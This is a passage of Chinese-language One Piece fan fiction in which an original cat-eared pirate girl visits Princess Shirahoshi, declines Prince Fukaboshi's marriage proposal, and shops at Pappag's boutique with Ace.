一声沉闷却极具穿透力的巨响,猛地从塔壁的某个方向传来,紧接着是剧烈的震动,整个房间仿佛摇晃了一下。桌上的茶杯倾倒,果汁泼洒、巨大的甜点盘滑动,发出刺耳的摩擦声,连白星身下巨大的床都发出了不堪重负的“吱嘎”声。 “呜——!”白星瞬间发出一声短促的惊叫,脸色变得苍白,几乎是条件反射般地,身躯迅速蜷缩起来,躲到了床铺的最内侧,用长长的头发和被子将自己尽可能包裹住,只露出一双盛满惊恐、泪光闪烁的碧蓝眼睛,无助地望向巨响传来的方向,身体在不受控制地微微发抖。 小狸也被这突如其来的袭击和剧烈的震动惊得差点没站稳。她趴在床上,震惊地看向声音和震动传来的方向,那里是塔壁,此刻似乎还能听到外面海水被巨大物体搅动的沉闷回响。 震动持续了十几秒,才渐渐平息,小狸的心脏还在怦怦直跳,她看向躲在被子下瑟瑟发抖的白星,一股难以言喻的怒火混合着强烈的心疼猛地窜上心头。 “这样的事……”她的声音因愤怒而有些发紧,“每天……都会发生吗?” 白星从被子下微微探出头,眼眶通红,晶莹的泪珠终于滚落,沿着白皙的脸颊滑下,滴落在床单上,晕开深色的痕迹。她努力想挤出一个安抚的笑容,却比哭还让人难受:“没、没关系的小狸……一会儿,就会安静下来了……习惯,就好了……” “习惯?!”小狸几乎要喊出来,她强行压下怒火,走到白星床边,仰头看着她,“那个混蛋……什么戴肯的,他到底想干什么?就为了骚扰你吗?” 白星低下头,双手紧紧抓着胸前的衣料,声音细若蚊蚋,带着浓重的屈辱和恐惧:“求……求婚……” “求婚?!”小狸的声音陡然拔高,充满了难以置信,“那个时候……你只有六岁吧?!对一个六岁的小女孩持续骚扰十年,就为了‘求婚’? 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片刻后,她用力吸了吸鼻子,抬手擦了擦眼泪,虽然身体还在轻微发抖,但还是努力地、重重地点了点头,声音带着一丝颤音,却比刚才坚定:“嗯!我,我会记住的!我会……努力的!” 看到白星眼中那丝微弱却真实存在的勇气火苗,小狸的心情稍微好了一点。但发生了这样的事,她也知道不便再久留。约定的时间也快到了。 不久后,鲨星王子准时返回。他看到房间内的狼藉和妹妹微红的眼眶,眉头立刻蹙紧,眼中闪过一丝凌厉的寒芒,但很快又被他压下,恢复沉稳。 小狸和白星依依不舍地道别。 “小狸,谢谢你今天来陪我……我很开心。”白星站在门内,巨大的身躯微微前倾,脸上还带着泪痕,笑容却真实而温暖,“要……再来哦。” “嗯!一定!”小狸用力点头,挥手,“白星星,要照顾好自己!要给我打电话哦!” 离开硬壳塔,再次感受到龙宫城相对自由流动的空气和光线,小狸心中却沉甸甸的。鲨星安排了一艘小型、速度较快的龙宫城专用泡泡船,亲自送她返回与人鱼咖啡馆。 沉默地航行了一段,鲨星低沉的声音忽然响起: “谢谢你,小狸小姐。” 小狸从沉思中回过神,看向身边这位气质沉稳的王子。他正望着前方流淌的光影,侧脸线条在变幻的光线下显得格外深刻。 “不,”小狸摇摇头,认真地说,“白星很可爱,也很善良。能和她聊天,听她说话,我才觉得很开心。应该是我谢谢您和国王陛下允许我去探望她才对。” 鲨星的嘴角极轻微地向上牵动了一下,那几乎不能算是一个笑容,更像是一种沉重的柔和。“白星她……很小的时候就失去了母亲。母亲她……是一位胸怀广阔、致力于鱼人、人鱼与人类和平共处的伟大女性。那对她,对我们全家,都是巨大的打击。不久后,范德·戴肯的威胁就开始了……她几乎还没来得及认识这个世界,就被迫囚禁在那座塔里。”他的声音很低,带着一种深沉的、兄长式的无力与愧疚,“作为她的兄长,作为应该保护她的男人……我却只能眼睁睁看着她在恐惧中度过一年又一年,除了加强守卫、加固硬壳塔,别无他法,无法彻底解决这个问题,也无法真正驱散她心中的阴影。我时常感到……很愧疚。” 小狸静静地听着,她能感受到鲨星话语中那份沉重的责任感和无力感。这不仅仅是哥哥对妹妹的疼爱,更是一种深深的自我谴责。 她想了想,轻声说道:“鲨星殿下,我觉得……尼普顿陛下,还有您和其他的王子殿下,都是很好、很爱白星的人。你们已经尽了最大的努力去保护她,为她营造了一个相对安全的‘世界’。”她顿了顿,想起白星那双纯净的眼睛和提起家人时依赖的眼神,“而且,我觉得白星星……她可能比你们想象的,要更加勇敢哦。” 鲨星转过头,有些惊讶地看向小狸。 小狸迎着他的目光,蔚蓝的猫瞳清澈见底:“虽然她很害羞,容易害怕,也一直被保护着,不谙世事。但是,在那种环境下长大,十年如一日地承受着恐惧和孤独,却并没有变得阴沉、怨恨或者封闭。她还是那么善良,那么容易相信别人,对世界保持着纯粹的热爱……这本身,就是一种非常了不起的勇敢。不是挥剑战斗的勇敢,而是心灵上的、更珍贵的勇敢。” 她的话像一颗投入平静湖面的石子,在鲨星心中漾开一圈圈涟漪,他从未从这个角度思考过。他一直将爱哭的妹妹视为需要全力保护的、脆弱易碎的存在,愧疚于自己未能给予她普通女孩的自由和安全。但此刻,这个来自外界的少女,却看到了白星被囚禁生涯中,那颗未曾被磨灭的、坚韧而美好的心。 鲨星怔怔地看着小狸,看着她脸上那份毫不作伪的真诚与笃定。如同沉重的枷锁被悄然打开了一道缝隙,新鲜的空气涌入。鲨星感到心头那块压了十年的巨石,似乎松动了一丝。一股混合着释然、感激与更深层触动的情緒,悄然涌现。 他沉默了许久,久到泡泡船即将驶出水道,抵达约定的汇合点。船速渐渐慢了下来。 他像是终于下定了某种决心,某种超越了单纯感激与欣赏的决心。这个决定或许只是被此刻的情绪和眼前少女独特的光芒所触动,但当他开口时,目光是前所未有的真诚、坦荡,没有半分犹豫、试探或敷衍,只有王族特有的、一旦决定便直视前方的决断。 他转过身,正面朝向小狸。高大的身影在船舱内投下充满存在感的阴影,但他的姿态是郑重的,甚至带着一丝罕见的、与他严肃气质不符的紧绷。 “小狸小姐。” 他的声音比平时更加低沉,每个字都清晰有力,确保她能听清。 “虽然我知道,我的话非常唐突,甚至可能显得失礼。”他顿了一下,深蓝色的眼眸紧紧锁住小狸微微愕然抬起的面庞,“但是,我是认真的。经过今天的相处,以及你刚才那番话……” 他深吸了一口气,仿佛要攫取深海的力量来支撑接下来的话语。 “你可不可以——嫁我为妻?” ? ??? 101.对不起,你是个好人 小狸被这突如其来的、正式到近乎庄严的发问彻底弄懵了。 脑袋一时半会儿完全转不过来。求婚?对她?难道……在鱼人岛,求婚是什么她不知道的奇怪风俗吗? 这个荒谬的念头让她下意识地脱口而出,声音里带着满满的困惑和一丝小心翼翼的试探:“王子殿下……你是在……逗弄我么?” 她歪了歪头,猫耳困惑地撇向两边,试图从鲨星严肃的脸上找出一丝玩笑的痕迹。 鲨星显然没预料到这样的反应。他愣了一下,深蓝色的眼眸里闪过一丝错愕,随即被更深的认真取代,甚至因为急于澄清而显得有点笨拙的急切:“不,不是的,小狸小姐。我绝非戏言,我是认真的。” 他停顿了一下,似乎在谨慎地斟酌接下来的用词,确保每一个字都能准确传达他的意图。高大的身躯显得压迫感十足,但他努力让自己的姿态显得诚恳而不显强迫。 “在鱼人岛,人鱼与鱼人选择终身伴侣时,并不像陆地上的人类国度那样拘泥于严格的种族血统或阶层门第。” 他的声音平稳下,直视着小狸的眼睛,开始条理清晰地陈述他的理由: “与白胡子海贼团的核心成员联姻,能极大地巩固鱼人岛与白团之间的纽带。这将使我们双方的同盟关系更加牢不可破,形同一体。鱼人岛是新世界的入口,这对于稳定白胡子海贼团在新世界的地位,震慑那些依旧觊觎这里的势力,有莫大好处。” 他顿了顿,目光真诚:“而对你个人而言,你将获得龙宫城王妃的尊荣与地位,享有相应的权力与礼遇。白胡子海贼团,也将能更直接、更名正言顺地将鱼人岛置于羽翼之下,提供庇护。我父王的一些顾虑……或许也能因此找到两全的解决之道。甚至对白星也……” 说到这里,他停顿了一下,那双沉稳的眼眸深处,似乎掠过一丝极轻微的、不同于政治考量的微光。他或许是想说,这样一位活泼、真诚、能给白星带来欢笑的朋友若成为嫂嫂,对妹妹也是一种慰藉。但这念头过于私人,他并未宣之于口。 船舱内出现了短暂的寂静。鲨星似乎才后知后觉地意识到,自己刚才的发言有多么正式,甚至……有点笨拙。他脸颊两侧的鱼鳃微微开合了一下,显露出一丝不易察觉的紧张,那份属于王族的从容外壳下,隐约透出属于他自身年龄的、些许羞赧的底色。 他最后补充了一句,声音比之前低沉了一些,却更显得真诚:“而且……抛开这些考量,小狸小姐,你本身是一位非常优秀又耀眼的女性。如果有机会……能与这样的你共度余生,我相信,那也会是一件……十分幸运的事情。”他看向小狸,目光柔和下来,“你会慢慢爱上鱼人岛的,这里很美,也很安宁。” “……” 小狸沉默着。 鲨星的表情太过认真,眼神太过坦荡,使得她终于意识到这不是玩笑,不是风俗,也不是试探。这是一位王子,向她发出的极其正式的联姻提议,但是,这太荒谬了 几秒钟后,巨大的震惊褪去,一种明确而坚定的情绪迅速占据心头。她甚至没有太多犹豫或惶恐,几乎是本能地,立刻用力摇头,因为动作太猛,头顶的猫耳都跟着甩了甩。 “非、非常感谢王子殿下的看重!” 她的声音起初因惊讶而略微拔高,但很快,她便稳住了声线,语气变得清晰、平稳,如同经过打磨的深海水晶,每个字都折射出不容误解的坚定光芒: “但是,非常抱歉,我不能接受。” 她抬起头,不再回避,蔚蓝的猫瞳勇敢地、笔直地迎上鲨星那双深邃如海渊的眼睛。那眸子里的光芒,干净,执着,没有一丝一毫的摇摆或算计。 “我首先,是个海贼。” 她一字一顿,声音不大,却带着一股骄傲,“是白胡子海贼团的一员,是爱德华.纽盖特的女儿。我的归属,我的家,是那个在惊涛骇浪中驰骋、永远喧闹温暖的莫比迪克号,是我的家人所在的地方。我无法割舍那片自由的海,留在这片深海王宫。” 她的眼神坦荡:“鱼人岛是白胡子海贼团重要的朋友,是老爹愿意倾力守护的地方。但这份守护,是建立在彼此的道义、深厚的友谊和曾经的承诺之上。它不是一笔需要用婚姻和血缘去捆绑、去加固的交易。我相信,老爹、艾斯、马尔科先生,还有船上的每一个人,都会认同这一点——真正的同盟,是心的方向一致,是危难时的毫不迟疑,它本身就已经足够坚固,不需要额外的形式束缚。” 说到这里,她的语气忽然柔软下来,一抹暖意悄然染上她的眼角眉梢,连声音都变得轻柔: “而且……” 她停顿了一下,脸颊无法控制地泛起淡淡的红晕,但眼神却更加明亮,没有丝毫闪躲,反而充满了坦然的喜悦: “而且,我已经有恋人了。是彼此选择、彼此珍惜、约定要一起走下去的恋人。” 她的目光柔和,似乎落在了某个具体的身影上。“我很爱他。他也非常、非常在乎我。” 提及“他”时,她嘴角不自觉地上翘,那笑容里盛满了温柔。但随即,她像是想起了什么,表情变得有点淘气和促狭: “我的恋人啊……是个超级大的醋坛子。要是让他知道,居然有人向我求婚,他恐怕会气得头顶喷火,直接烧穿龙宫城漂亮的泡泡穹顶,然后扛着我就跑,不会让我靠近鱼人岛半步了。” 她摊了摊手,做出一个无奈的表情,但眼底的笑意泄露了她其实乐在其中:“所以,为了鱼人岛的安宁与和平,也为了避免引发不必要的‘外交事故’,鲨星殿下请务必忘记刚才的提议吧。就当……它从来没被说过。” 鲨星一直静静地听着,没有打断。他脸上最初那份郑重与期待,随着小狸清晰坚定的拒绝和后续真诚坦率的解释,渐渐化开。那并非被冒犯的恼怒,也没有计划被打乱的挫败,最终变成了一丝无奈的苦笑,以及……更深层次的释然。 是的,释然。 他确实认真考虑了政治联姻的利益,也确实对小狸本人产生了一丝超越利益的好感与带着私心的期许。但此刻,小狸的回答干脆利落、情真意切,他心中那点隐秘的、连自己都未必完全看清的期待,反而悄然落地了。 这样也好。 她属于更广阔、更自由的世界,而他的责任,他的世界,终究是这片需要他守护的深海。有些光芒,注定只能照亮一程,而非一生。 “……我明白了。” 鲨星轻轻地、长长地叹了口气。那叹息声里,似乎真的卸下了某种无形的重量,也彻底拂去了那丝若有若无的情愫。他再次看向小狸时,眼神已经恢复了王子应有的沉稳与风度,带着真诚的歉意 “是我冒昧了,小狸小姐。我并不知道您已经有了心意相通的恋人。” 他微微躬身,姿态优雅而郑重,“请务必忘掉我刚才不成熟的提议。也请允许我,通过您,向波特卡斯·D·艾斯队长致上我的歉意。我的提议绝无任何挑衅或轻视之意,纯粹是出于对鱼人岛未来的考量,以及对您个人的欣赏。如有冒犯,万望海涵。” 小狸暗暗松了口气,紧绷的肩膀松弛下来。她连忙摆手:“殿下言重了。您太客气了” 小狸先是为鲨星的明理和风度松了口气,随即脸颊“轰”地一下更红了。哎?自己刚才……有提到艾斯的名字吗?没有吧?……居然就暴露了吗?这么明显么?这个认知让她瞬间从耳根红到了脖子,恨不得把自己缩成一团。 她有些慌乱地后退了一小步,借此掩饰自己的窘迫,再次微微躬身:“不,该道歉的是我,让殿下费心了。感谢您今天的陪伴与引路,也谢谢您的……呃,邀请。那么,我就此告辞了,鲨星殿下。” “请稍等。” 鲨星叫住了正准备开溜的小狸。他像是想起了什么,取出一张质地特殊、边缘镶嵌着细碎银箔的名片,递了过来。 “作为我方才唐突提议的弥补,也是感谢你今日陪伴白星的礼物。” 他的语气恢复了王族的从容,“请拿着这个,去帕帕古的服装店吧。他是鱼人岛最有名的设计师,店面就在人鱼咖啡馆附近。你可以去选些喜欢的,算是我和龙宫城的一点心意。” 小狸眨了眨眼,顺着鲨星示意的目光低头看向自己的裙摆——果然,在靠近小腿的位置,不知何时被划开了一道不大却显眼的口子。大概是在硬壳塔外,被那些武器碎片无意中划破的,她之前心思都在白星和后来的“求婚”上,竟然完全没有察觉。 这个时候再推辞,反而会让双方都尴尬。小狸不是扭捏的人,她大方地点了点头,双手接过那张名片:“谢谢殿下,那我就不客气啦。” 虽然面上保持着镇定,甚至和鲨星王子礼貌道别,但小狸几乎是脚底生风、心跳如鼓地“逃”回人鱼咖啡馆的。直到推开门,看到那个坐在靠窗位置、正侧头和那谬尔说着什么的熟悉背影时,她胸腔里那颗狂跳不止的心脏,才像是终于找到了安全的归处,缓缓地落回原位。 拒绝了一位王子的求婚。自己当时的回应,没有很失礼吧?应该……还算得体? 虽然有些状况外的茫然和眩晕,但她的心意从未像此刻这般明确,她心中那片最温暖、最重要的位置,早已被那个带着橙色牛仔帽、笑容如火焰般耀眼的黑发青年牢牢占据,没有任何事物可以动摇或替代。 她拒绝了鲨星王子,不仅仅是因为有了艾斯,更是因为,那是艾斯,仅此而已。 “回来啦?” 仿佛心有灵犀,艾斯在她进门的第一时间就转过头。当他的目光捕捉到门口那个有些怔忡、脸颊微红的小小身影时,立刻站起身,长腿迈开几步就走了过来。 他极其自然地将还有些发愣的小狸揽进怀里,手臂收紧,形成一个温暖坚实的拥抱。他低下头,下巴在她柔软的发顶亲昵地蹭了蹭,像大型猫科动物确认自己的所有物,声音在她头顶响起,带着放松的笑意和一丝不易察觉的安心: “怎么样?龙宫城好玩吗?” 熟悉的气息,熟悉的体温,熟悉的怀抱。小狸几乎是本能地在他胸口蹭了蹭,让那股混合着阳光、火焰和淡淡汗水的属于艾斯的味道充满鼻腔。眩晕感消失了,只剩下满满的、踏实的归属感。 “嗯,好玩。” 她声音闷在他怀里,然后抬起头,眼睛亮晶晶的,开始分享见闻,“我见到白星了!我们成为朋友了!她真的好漂亮好漂亮啊!是我见过最漂亮的人鱼了!眼睛像会发光的蓝海,性格也特别温柔可爱,就是……” 她想起硬壳塔的震动和白星惊恐的样子,眼神黯淡了一瞬,“就是太可怜了。” 艾斯听着她絮絮叨叨的讲述,目光始终 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艾斯太了解她了。几乎在她眼神变化的瞬间,他就精准地捕捉到了那抹带着点小别扭和醋意的探究光芒。他先是一愣,随即无奈地笑出了声,抬手用力揉了揉自己的黑色卷发,一副“又来了”的头痛又宠溺的表情。 果然……这件事,在这只记性有点太好了的小猫心里,还没完全过去呢。或者说,已经成了她时不时拿出来调侃他、确认心意的小情趣 看来,以后真的得找个机会,带她去一趟和之国,让她亲眼见见那个叫小玉的小丫头,彻底解开这个美丽的误会。艾斯在心里无奈又甜蜜地想着。 他俯身,额头轻轻抵住她的额头,鼻尖碰着鼻尖,呼吸交融。深邃的黑眸里映出她微微鼓起的脸颊和闪烁的眼睛,声音低哑,带着笑意和无限纵容: “笨小猫。” 他啄了一下她的鼻尖,“我喜欢的,从头到尾,都只有眼前这个会吃醋、会撒娇、有时候勇敢得吓人、有时候又迷糊得可爱的小猫。除了你谁都不行” 小狸被他的视线和直白的情话弄得心脏乱跳,那点小小的醋意早就飞到九霄云外,只剩下满心的甜蜜和羞涩。她忍不住把脸埋回他怀里,发出一声含糊的、带着笑意的咕哝: “哼……谁知道是不是真的……” 但那紧紧回抱住他腰身的手臂,和蹭着他胸膛时那满足的呼噜声,早已出卖了她真实的心情。 人鱼们都在看热闹,露出揶揄的笑容,那谬尔则在一旁喝着海藻茶,看着这对旁若无人开始散发甜蜜气息的年轻恋人,摇了摇头,脸上却露出了然的、带着祝福的笑容。 腻歪了一会儿,直到艾斯的气息和体温将她从那个惊天动地的“求婚事件”余波中完全拉回现实,小狸才像是忽然想起了什么,掏出了鲨星递给她的那张带着龙宫城标记的卡片。 “我的裙子刚才不小心勾破了,所以鲨星王子殿下……呃,很客气地给了我这个,说可以去一家店选件新的。”她把名片递给艾斯,尽量让自己的语气听起来平静又自然,仿佛这只是一次再普通不过的、友好的馈赠。 艾斯接过卡片,指腹摩挲过上面带着珠光质感的纹路,目光扫过“帕帕古设计工作室”的字样。人鱼咖啡馆里还没离开的几位服务员姐姐好奇地凑了过来,看到卡片后纷纷发出低低的惊呼。 “哎呀!是帕帕古大师的邀请卡!” “小狸一定要去哦!帕帕古大师的设计超级棒的,平时预约都要排好久呢!” “是呀是呀,真好呀,我也好想穿上帕帕古大师亲手设计的衣服……” “不愧是鲨星王子殿下,出手就是大方!” 艾斯将卡片收好,看了看小狸的裙摆,转向一直在旁边笑眯眯看戏,不再装模作样喝茶而是开始喝酒的那谬尔:“那,我先带小狸过去看看。晚点我们再汇合?” 那谬尔无所谓地挥挥手,脸上的笑容促狭又了然:“去吧去吧!带小狸好好逛逛,出来一趟,总得打扮得漂漂亮亮地回家嘛!” 艾斯笑着点头,牵起小狸的手:“走吧。” 两人牵着手离开人鱼咖啡馆,身影融入鱼人岛街道流动的瑰丽光影中。 在他们走后,那谬尔也自行离开,咖啡馆恢复了平静,直到一位正在擦拭杯子的人鱼服务员直起身,望向门口的方向,脸上带着一丝困惑的提问:“说起来……你们今天有人看到伊希丽吗?” 旁边另一位整理托盘的人鱼动作顿住,想了想,摇头:“没有呢。我记得今天下午应该是她和卡萝娜轮班才对。可她们两个都没出现……” “我也没看见她。”第三位人鱼凑过来,压低了声音,“早上开店前好像还打过照面,说去海边玩……然后就再没见着了。” “奇怪了……伊希丽做事一向很认真的,就算有事也会说一声。” “会不会是家里突然有事?” “可她的家离这里不远呀……而且她的东西还放在员工柜里没带走呢。” “要不要告诉夏莉夫人?” “……再等等看吧?说不定只是临时被什么事绊住了,晚点就回来了。” “唉,希望没事……霍迪.琼斯开始到处搞破坏之后生意好差……好久没有太平了呢。” “嘘!别乱说!小心被听到!” “知道了知道了……哎,好想下班啊……” 102.你这悬赏令正经么 帕帕古的工作室位于鱼人岛繁华商业区一个显眼的核心位置,小狸站在门口,看着这过于奢华精致的店面,以及橱窗里的那些华服,脚步有些迟疑。她拽了拽艾斯的衣角,压低声音:“艾斯……这里看起来好贵。我们真的要进去吗?我只是想买件普通能换的……”她看着玻璃橱窗里一条裙子的价签上那一长串零,不由得皱起了小脸。 “欢迎光临帕帕古设计工作室!” 似乎是注意到两人在门口徘徊,一位穿着笔挺黑色鱼尾正装、笑容标准的鱼人侍者立刻迎了上来。 但当小狸递上那张带有龙宫城徽记的名片时,侍者脸上职业化的微笑瞬间凝固,态度变得无比恭敬甚至有些惶恐: “两、两位是龙宫城的贵客!失礼了!快请进!社长!有非常重要的客人!!” “龙!宫!城!?” 一个充满戏剧张力的声音从店铺深处传来,紧接着,一个戴着造型夸张的帽子和圆片墨镜、直立行走的海星以一个流畅到不可思议的滑步,“嗖”地出现在两人面前。 “尊贵的客人!热烈欢迎!!”帕帕古的声音拔高了八度,将还有些发懵的两人引向店铺的VIP休息区。 那里布置得如同一个微型沙龙,摆放着用柔软舒适的沙发,面前的珊瑚茶几上摆放着迎宾饮品和几碟精巧别致的海底点心。 “我是这里的社长帕帕古!这位美丽的小姐,是为您挑选服饰对吗?”帕帕古热情地搓着手,围着小狸开始转圈,目光如同扫描仪般上下打量,“完美的头身比!独特的气质!蔚蓝的眼睛!还有这独具特色的耳朵和尾巴……我的灵感要喷涌而出了!哟嚯~!” 小狸被这位热情过度的设计师弄得手足无措,下意识地就要躲到艾斯身后去。艾斯伸手揽住她的肩,对帕帕古笑了笑:“麻烦您了,帮她挑选一身合适的日常衣服就好,方便活动一些的。” “包在我身上!请稍等片刻!!”帕帕古行了个夸张的绅士礼,也不等小狸再说什么,就激动地挥舞着手,示意两位等候在旁边的人鱼助手,将一脸状况外的小狸“劫持”进了里间的试衣室。小狸只来得及发出一声短促的“哎?!”,身影就消失在了那厚重的帘子后面。 艾斯对这位特立独行、在鱼人岛乃至伟大航路都颇有名气的设计师早有耳闻,见状并不紧张,反而觉得这场面颇有意思。他悠闲地在沙发上坐下,自来熟地享用起点心和饮品。 店铺里其他几位店员此时也注意到了艾斯背后白团的刺青以及他那张在顶上战争后更广为人知的英俊面孔。惊讶和好奇之下,她们忍不住悄悄聚拢过来一些,眼神里混合着对海贼传奇的敬畏与对俊美青年的天然好感。 “您是艾斯队长吧?” “在报纸上看到过您的消息……真是英勇呢。” “需要再给您添些饮品吗?” 艾斯只是客气而疏离地笑了笑,目光便重新投向了试衣室的方向,显然心思完全不在这里。一位人鱼店员顺着他的目光看去,掩嘴轻笑,识趣地不再多言,但目光中不乏羡慕。 艾斯开始有些出神。不得不说,帕帕古的品味确实卓越,店内陈列的服装样式新颖别致,许多设计连他这个对时尚不甚敏感的人都觉得眼前一亮。他不禁开始想象,这些衣裙穿在他家小猫身上会是什么模样…… 修长白皙的脖颈,线条优美的锁骨,纤细的手臂……最好再搭配一条那种细细的、闪着微光的链子…… 要不……干脆多买几件?这个念头一旦升起就迅速在心底蔓延。换衣服的时候或许我还可以……帮忙?指尖仿佛已经能触碰到那些柔软布料的质感,以及布料之下更温软的肌肤…… 思绪不由自主地滑向某些旖旎而私密的画面,艾斯感觉耳根隐隐发烫,赶紧端起那杯颜色奇特的饮品喝了一大口,冰凉略带气泡的口感让他稍微冷静了些,试图压下脑子里不受控制翻腾的“黄色废料”。 就在这时,试衣室里传出了帕帕古激动到几乎破音的大喊,穿透了厚重的帘幕: “你们几个!难道现在不是上班时间吗?!无关人员都给我回到自己的岗位上去!丽贝卡!莎拉!你们两个拿上化妆箱和配饰进来帮我!快!灵感正在巅峰!!我需要助手!!” 几位人鱼店员吐了吐舌头,赶紧作鸟兽散。两名早就候命、拿着专业化妆箱和装满闪亮首饰托盘的人鱼助手,笑着对艾斯点点头,快步走进了试衣室。 很快,里面隐约传来了小狸委委屈屈、带着明显抗拒的小声抗议:“不……不要化妆嘛……化了妆不好看的……” 艾斯闻言,眼前立刻浮现出当初在莫比迪克号上,她给自己画了个堪比戏剧脸谱的夸张妆容,还得意洋洋出来展示,把全船人笑得前仰后合的“惨烈”回忆。他不由失笑,原来这笨猫还对那次“黑历史”心有余悸。他正想开口替她解围,就听到里面的人鱼助手用温柔又充满信心的语气劝说道: “小姐,您要对自已有信心呀!您底子这么好,稍微修饰一下就会非常出彩的!”“是呀,难道您不想让外面的艾斯队长眼前一亮嘛,相信我,配上这件礼服,绝对能让他看得移不开眼!” “可、可是……”小狸的声音还带着犹豫,“我只是想要方便活动一点的衣服……这个裙子,太……” 帕帕古的声音也加入了哄劝:“只是试穿一下!留念也好!小姐,请您相信我专业的眼光,您真的非常适合!试试看嘛!” 人鱼助手递给她一面手持的镜子。镜子里映出的景象显然说服了她。那绝非她自己当初胡乱涂抹的花脸,而是极其贴合她骨相与肤色的清新精致妆容。 小狸乖乖地闭上了嘴,任由人鱼姐姐灵巧的手指为她做最后的点缀。 门外的艾斯,只听到里面帕帕古激动到几乎有些哽咽的声音,像是在欣赏自己最完美的作品:“没错!!就是这样!!!就是这种感觉!!!深海中孕育出的黑珍珠!海洋时尚界无与伦比的秘宝!!我帕帕古……此生能完成这样一件作品,简直无憾了!呜呜呜……” 试衣室那厚重的帘子,终于被一只白皙的手从里面轻轻掀开了一角,那道他熟悉到骨子里的身影,带着几分前所未有的羞怯和生疏,缓缓从帘后走了出来。 时间仿佛在这一刻被按下了暂停键。 艾斯只觉得呼吸一滞,周遭所有的声音、气味都瞬间褪去,整个世界的光仿佛都疯狂地汇聚在眼前这一个人身上。 柔顺的黑色长发被盘成一个松散的发髻,露出线条优美的颈项和雪白圆润的肩头。几缕发丝垂落在颊边和锁骨处。略施粉黛的小脸精致得没有半点瑕疵,肌肤泛着莹白的光泽。 她身上穿着一件设计极其精妙的露肩礼服,裙摆及膝,面料带着细腻的暗纹。礼服上身贴合着她纤细的骨架,勾勒出漂亮的锁骨和肩颈线条,腰身收得极细,用一道细细的金色花纹强调。 颈间戴着一条镶嵌着湛蓝宝石的精致项链,与她眼眸的颜色如出一辙,耳畔和发间也点缀着同色系的细小珠宝,在她行动间闪烁着细碎的光芒。 她有些手足无措地站在那里,双手紧张地交握在身前,脸颊泛着自然的红晕,眼神躲闪,不敢直视艾斯灼热的目光。那副又羞又怯、与平日里活泼灵动截然不同的模样形成了一种致命的吸引力。 艾斯几乎是屏住了呼吸,目光近乎贪婪地流连在她身上,从发丝到足尖,每一寸都不愿放过。他张了张嘴,却发现喉咙干涩得发不出任何声音。 帕帕古在一旁激动得手舞足蹈,两位人鱼助手也露出了满意又惊艳的笑容,低声交口称赞。 小狸被艾斯那仿佛带着实质温度的目光看得浑身不自在,裸露在外的肌肤都微微战栗。她脚尖不安地在柔软的地毯上碾了碾,声音细弱蚊蝇,带着颤抖:“哥、哥哥……好、好看吗?” 这声细微的询问终于像一把钥匙,打开了艾斯被封印的声带和理智。他找回了自己的声音,那声音比他想象的要沙哑低沉得多,带着毫不掩饰的、近乎失神的惊艳与浓烈的情感: “……好看。”他顿了顿,仿佛在咀嚼这两个字的分量,然后更坚定、更清晰地重复,目光牢牢锁住她,“我的小狸……是全世界最好看的。” 小狸被他直白炽烈的赞美和那毫不掩饰的占有欲目光看得面红耳赤,她下意识地低下头,双手抬起捂住自己因为羞赧而微微抖动的猫耳,紧紧闭上眼睛开始自欺欺人地装死,声音细弱得几乎听不见:“不、不会很奇怪吧……太正式了,我、我都不敢动……” 艾斯已经无法再停留在原地。他站起身,步伐有些急切地走到她的身边,近到能闻到她身上淡淡的、混合了高级化妆品清香和她本身特有清甜气息的味道。他抬手,极其温柔地勾起了她的下巴,迫使她抬起那张染满红霞的小脸,对上他那双此刻燃烧着暗火的黑眸。 离得这样近,小猫那粉嫩水润的唇瓣显得更加柔软诱人,仿佛在无声地发出最甜蜜的邀请。艾斯的呼吸骤然粗重,几乎是失神般地、遵循着本能低下头,目标明确地朝着那抹令他心驰神往、理智尽失的粉色靠近。 灼热的呼吸瞬间交织在一起,带着同样的悸动。他滚烫的唇瓣即将触碰、攫取那份甘美的瞬间 “天、天啊——!!!” 一声充满震惊和某种狂热情绪的惊呼从店铺门口传来,瞬间拉住了艾斯濒临失控的理智。他猛地顿住,唇瓣在距离那诱人目标仅毫厘之差时硬生生停住,肌肉因为强行克制而微微紧绷。 他这才惊觉,他们还在人来人往的店铺里,周围还有其他人。他自己当然不介意当众亲吻她,但他家这只脸皮薄的小猫,要是真在这么多双眼睛的注视下被吻住估计会瞬间羞的钻进缝隙里,好几天都不肯见人。 强行压下几乎要破笼而出、叫嚣着占有的冲动,他深吸一口气,缓缓直起身,但揽在她腰间的手臂却收得更紧,以一种绝对占有的姿态将她护在身侧。 众人循声望向门口。只见一个穿着有些凌乱、头发蓬松、脖子上挂着老式相机的中年男人瞪大了眼睛,夸张地张大嘴巴,僵在原地,目光直勾勾地锁定在小狸身上 艾斯眉头微蹙,不动声色地又挪了半步,将他的珍宝挡在自己身后,隔绝了那过于直白甚至有些失礼的灼热视线。他的语气带着一丝不悦“你是……?” 男人被艾斯低沉的声音惊醒,猛地回过神。他一个激灵,手忙脚乱地扶了扶差点滑落的眼镜,然后突然朝着艾斯和小狸的方向,来了一个近乎九十度的深鞠躬,声音因为激动和紧张而有些变调颤抖: “您、您们好!万分抱歉!冒昧打扰了!我、我叫尼尔森,是、是一名自由摄影师!兼、兼职为一些报刊供稿!”他抬起头,镜片后的眼睛里闪烁着无法抑制的、近乎狂热的艺术追求之光,“请、请务必!务必允许我为您拍一张照片!!!”他的语气近乎哀求,“这样的光影!这样的完美瞬间!如果错过了,我、我一定会抱憾终身的!这绝对是能载入我职业生涯……不,是能载入摄影史的画面!求求您了!” 小狸从艾斯身后悄悄探出半个脑袋,好奇地看向那个造型古旧却保养得当的相机,又看了看激动得语无伦次的摄影师尼尔森,眨了眨她那双蔚蓝的眼睛。她想了想,带着点孩子气的认真问到:“那……如果你的照片拍出来了,也可以……给我一张吗?我、我也想留作纪念。” 毕竟,这样打扮的自己,大概也不会有第二次了。 “完全没有问题!不如说务必!请您一定要收下!这是我的荣幸!万分感谢您!!”尼尔森像是得到了国王的特赦令,激动得差点原地跳起来,眼眶都有些湿润了。 于是,在帕帕古的店铺里,临时搭建起了一个简易的摄影角。小狸毕竟是第一次当模特,面对镜头显得有些拘谨和生涩。好在尼尔森经验丰富,不断耐心引导: “对,小姐,请稍微侧一点头……完美!眼神请看我这里,对对,就是这样……太美了!” “小姐,可以试着轻轻提起一点点裙摆吗?对!就是这样!天啊……我此生无憾了!!!” 拍摄进行到尾声,尼尔森看着镜头里的照片,激动得手都在抖。他刚想说“完美收工”,却见小狸忽然对他招了招手,示意他靠近些。尼尔森连忙凑过去,小狸踮起脚尖,在他耳边飞快地低声说了几句什么 